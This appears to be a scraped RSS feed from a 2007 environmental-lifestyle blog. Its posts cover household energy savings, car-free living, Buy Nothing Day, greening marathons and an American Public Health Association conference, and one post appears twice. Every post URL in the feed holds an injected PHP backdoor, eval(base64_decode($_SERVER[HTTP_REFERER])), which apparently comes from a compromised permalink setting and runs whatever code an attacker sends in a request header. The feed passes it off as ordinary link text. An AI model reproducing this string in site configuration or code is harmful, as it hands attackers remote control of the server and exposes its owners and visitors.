Riot 4 Austerity » chris http://www.riot4austerity.org/blog Riot for Austerity: 90% Reduction Project Thu, 02 Sep 2010 23:40:10 +0000 http://wordpress.org/?v=2.3.2 en 3 months on http://www.riot4austerity.org/blog/2007/12/30/3-months-on/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/12/30/3-months-on/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 30 Dec 2007 20:26:05 +0000 chris http://www.myfairshare.org/?p=447 last post regarding our electricity consumption shows that taking a bit more care has made a difference. We are less than 50% of our last reading. We have 9 days to go but we are well below 50% and should easily reduce our electricity bill significantly. I would think that a few factors have combined to achieve this:
  1. Winter is over. We used our air conditioning as our heater and this would have added significantly during some very cold periods.
  2. I installed a heap of power saving lights. Our kids are amazing at being able to turn lights on at any time of day. They are yet to find the off switch.
  3. I have tried to turn things off more. Most electrical appliances are no longer left on standby.
  4. I use an automatic power on/off for our TV’s.
That’s about all. But what a significant change? I am looking forward to the saving when the next bill comes. And I hope to be able to do more as time goes on. We are an all electric house but I am sure that there is still plenty of room for more savings.]]> http://www.riot4austerity.org/blog/2007/12/30/3-months-on/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ car free diet http://www.riot4austerity.org/blog/2007/11/30/car-free-diet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/30/car-free-diet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 30 Nov 2007 17:23:00 +0000 chris tag:blogger.com,1999:blog-6910829846268976552.post-9111836335707198864

You know I hate junk mail, but I did get some good unsolicited correspondence the other day -- Arlington's Car Free Diet brochure.

Arlington is encouraging residents to save money, clean the environment, and improve health by not using our cars. The best part was a full-color, glossy pull-out map (made with new and toxic materials, unfortunately) showing the 89 miles of Arlington bike paths. I also learned that Arlington was voted the "best walking city" by the American Podiatric Medical Association in 2005. This is interesting since Arlington isn't a city but a self-governing county (the smallest in the country -- see what I can learn from Wikipedia).

On the car free diet website I signed up to go car-free (well, said what I've been doing) and got a coupon for the Arlington edition of How to Live Well Without a Car. I'll see when I get to the Metro Store if there are any copies left.
]]> http://www.riot4austerity.org/blog/2007/11/30/car-free-diet/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ eco massage http://www.riot4austerity.org/blog/2007/11/29/eco-massage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/29/eco-massage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Nov 2007 19:47:00 +0000 chris tag:blogger.com,1999:blog-6910829846268976552.post-6275905497181319669 marathon training, I had a huge knot in my back that would not go away. There were free massages for runners, but I was so tired after the race that standing in line in the cold was not something I wanted to do. I looked around for green spas in the area and was quite happy to find several close by. Washingtonian magazine recommends two green spas, Natural Body and Nusta. Both are use eco-friendly and recycled material, and more importantly, both are on my commute. Very nice.]]> http://www.riot4austerity.org/blog/2007/11/29/eco-massage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ happy buy nothing day! http://www.riot4austerity.org/blog/2007/11/23/happy-buy-nothing-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/23/happy-buy-nothing-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 23 Nov 2007 18:46:00 +0000 chris tag:blogger.com,1999:blog-6910829846268976552.post-1205715564227962870 The day after Thanksgiving is, of course Buy Nothing Day. Celebrate it with me!
For those of you who feel one day is just not enough, there's also Buy Nothing Christmas. This is my kind of holiday.

I am a huge Grinch, and I'm not shy about my Christmas hatred. I've traveled the world trying to escape, but the awful carols and tacky decorations are everywhere.

When I'm in the States, I feel like I'm obliged to participate. This year, with support of the Buy Nothing movement, I might finally have the strength to resist. Friends and family, be warned. This year it's Buy Nothing! There, I feel better already.

I have to work today, and the weather is so mild, it's also an excellent day to Bike to Work. No traffic. It's beautiful.

]]> http://www.riot4austerity.org/blog/2007/11/23/happy-buy-nothing-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Yahoo does the right thing but only under duress http://www.riot4austerity.org/blog/2007/11/14/yahoo-does-the-right-thing-but-only-under-duress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/14/yahoo-does-the-right-thing-but-only-under-duress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 14 Nov 2007 06:57:35 +0000 chris http://www.myfairshare.org/?p=387 I have been following the story about Yahoo’s tragic failure to do the right thing that resulted in the imprisonment of two Chinese. This has led to a significant hardship for their families.

For a long time Yahoo did nothing. 

Then under a scathing attack by a US hearing they have started to address their issues. It was stated in Wired today that Yahoo have settled the claim made by these men’s families for an undisclosed amount.

I couldn’t help but feel saddened that it required this level of exposure for Yahoo to do the right thing. With so much money they couldn’t even make a gesture to their families.

Like Neimoeller said, if we don’t stand up for when evil is being done it will come back to us. This is my summary of his famous statement.

“They came first for the communists and I didn’t speak up because I wasn’t a communist. Then they came for the Jews and I didn’t speak up because I wasn’t a Jew. Then they came for the trade unionists and I didn’t speak up because I wasn’t a trade unionist. Then they came for the Catholics because and I didn’t speak up because I was a Protestant. Then they came for me and by that time there was no one left to speak up.”

Living ethically when you have millions of dollars at your disposal is obviously a difficult task and Yahoo has been found wanting.

My question for myself is whether I am much better with the money that I have at my disposal? Or am I wanting also. Is it only when I am forced into the open that I commit to do the right thing, or have I found a place of integrity that allows me to choose what is right in a more consistent way?

]]> http://www.riot4austerity.org/blog/2007/11/14/yahoo-does-the-right-thing-but-only-under-duress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ greening marathons http://www.riot4austerity.org/blog/2007/11/13/greening-marathons/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/13/greening-marathons/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 13 Nov 2007 14:14:00 +0000 chris tag:blogger.com,1999:blog-6910829846268976552.post-4109334807194998620 marathon's environmental impact, all registrants were sent three issues of Runner's World magazine. In my last issue (December 07) I saw an ad for the Green Team. This seems to be an effort by the magazine to help green up races. So far the website is pretty sparse, but they provide some easy tips for race organizers and highlight three races that are making green efforts. The most impressive seems to be in Portland, where they hand out tap water instead of bottled. So there are some efforts to reduce the impact of these races, but not nearly enough, and there's not enough focus on the issue. Although their green efforts are listed on the Green Team website, the Portland Marathon website doesn't say anything about what they're doing. It must not be important enough for them to mention.]]> http://www.riot4austerity.org/blog/2007/11/13/greening-marathons/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Finding Flow - revisited http://www.riot4austerity.org/blog/2007/11/13/finding-flow-revisited/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/13/finding-flow-revisited/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 13 Nov 2007 06:16:45 +0000 chris http://www.myfairshare.org/?p=385 Written almost 20 years ago I still find “Flow” one of the most inspirational books on the subject of happiness that I have ever read.

I was interested in Mihaly’s latest introduction to the latest impression of the book:

“For as esoteric technologies proliferate and increasing powers of creation and destruction fall into the hands of the our species, the responsibility for using such powers wisely is becoming every more urgent. Are we going to exhaust the resources of the planet heedlessly, while we could have a much more fulfilling life with less waste? Is greed going to split humanity into the obscenely rich and the abysmally poor, fueling irreparable social conflicts? And as we move into the age of genetic engineering what kind of human beings are we going to create? Blood and flesh copies of our machines and computers? Or individuals with a consciousness open to the cosmos, organisms that are joyfully evolving in unprecedented directions? Mihaly Csikszenthmihalyi

Flow is all about total involvement in life. I think that Bryan’s tagline of living ethically speaks of living with integrity or living honestly. By this I understand it to mean that life is lived in an integrated way so that there is a synthesis in our work, home, creative, social and spiritual worlds. This means that we are able to integrate our external and internal worlds  in such a way that we find that they co exist in harmony rather than the conflict that is evident in many people’s lives.

]]> http://www.riot4austerity.org/blog/2007/11/13/finding-flow-revisited/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Free Rice http://www.riot4austerity.org/blog/2007/11/09/free-rice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/09/free-rice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 09 Nov 2007 20:07:14 +0000 chris http://www.riot4austerity.org/blog/?p=982 Free Rice and extend your vocabulary. A warning though it can get addictive. And according to its front page it may may make you smarter. screenshot056.jpg For something that began only a bit over a month ago Free Rice yesterday donated 77,126,310 grains of rice. And that figure is growing everyday as more and more people play. Their FAQ also tells how the rice is distributed, through the United Nations,
The rice is distributed by the United Nations World Food Program (WFP). The World Food Program is the world’s largest food aid agency, working with over 1,000 other organizations in over 75 countries. In addition to providing food, the World Food Program helps hungry people to become self-reliant so that they escape hunger for good. Wherever possible, the World Food Program buys food locally to support local farmers and the local economy. We encourage you to visit the United Nations World Food Program to learn more about their successful approach to ending hunger.
Anyway I am busy trying to work out what hermetic means? ]]> http://www.riot4austerity.org/blog/2007/11/09/free-rice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ public health http://www.riot4austerity.org/blog/2007/11/08/public-health-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/08/public-health-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 08 Nov 2007 16:36:00 +0000 chris tag:blogger.com,1999:blog-6910829846268976552.post-4287397252275386232 This week I was at the American Public Health Association meeting. Wow. So many excellent talks on the environment and its impact on health. This is a huge conference with 14,000 people from around the world. We took up the entire conference center plus all of the nearby hotel meeting spaces.

This year the conference planners included some environmental initiatives such as reducing pre-meeting mailings, using recycled paper with soy-based inks, and making sure recycling bins were available. There was a nice listing of vegetarian restaurants within walking distance of the site, although I never did find the one I wanted.

APHA also recommends participants offset the carbon from their travel. I've heard mixed reviews of carbon offset companies, so was glad to learn about the independent assessment by Clean Air-Cool Planet. From their review, APHA recommended Native Energy. Instead of planting trees, this group gives your funds to community groups to build wind turbines and develop methane production plants from manure on family farms.]]> http://www.riot4austerity.org/blog/2007/11/08/public-health-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ public health http://www.riot4austerity.org/blog/2007/11/08/public-health/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.riot4austerity.org/blog/2007/11/08/public-health/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 08 Nov 2007 16:36:00 +0000 chris http://www.riot4austerity.org/blog/?p=933 This week I was at the American Public Health Association meeting. Wow. So many excellent talks on the environment and its impact on health. This is a huge conference with 14,000 people from around the world. We took up the entire conference center plus all of the nearby hotel meeting spaces.

This year the conference planners included some environmental initiatives such as reducing pre-meeting mailings, using recycled paper with soy-based inks, and making sure recycling bins were available. There was a nice listing of vegetarian restaurants within walking distance of the site, although I never did find the one I wanted.

APHA also recommends participants offset the carbon from their travel. I've heard mixed reviews of carbon offset companies, so was glad to learn about the independent assessment by Clean Air-Cool Planet. From their review, APHA recommended Native Energy. Instead of planting trees, this group gives your funds to community groups to build wind turbines and develop methane production plants from manure on family farms.]]> http://www.riot4austerity.org/blog/2007/11/08/public-health/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/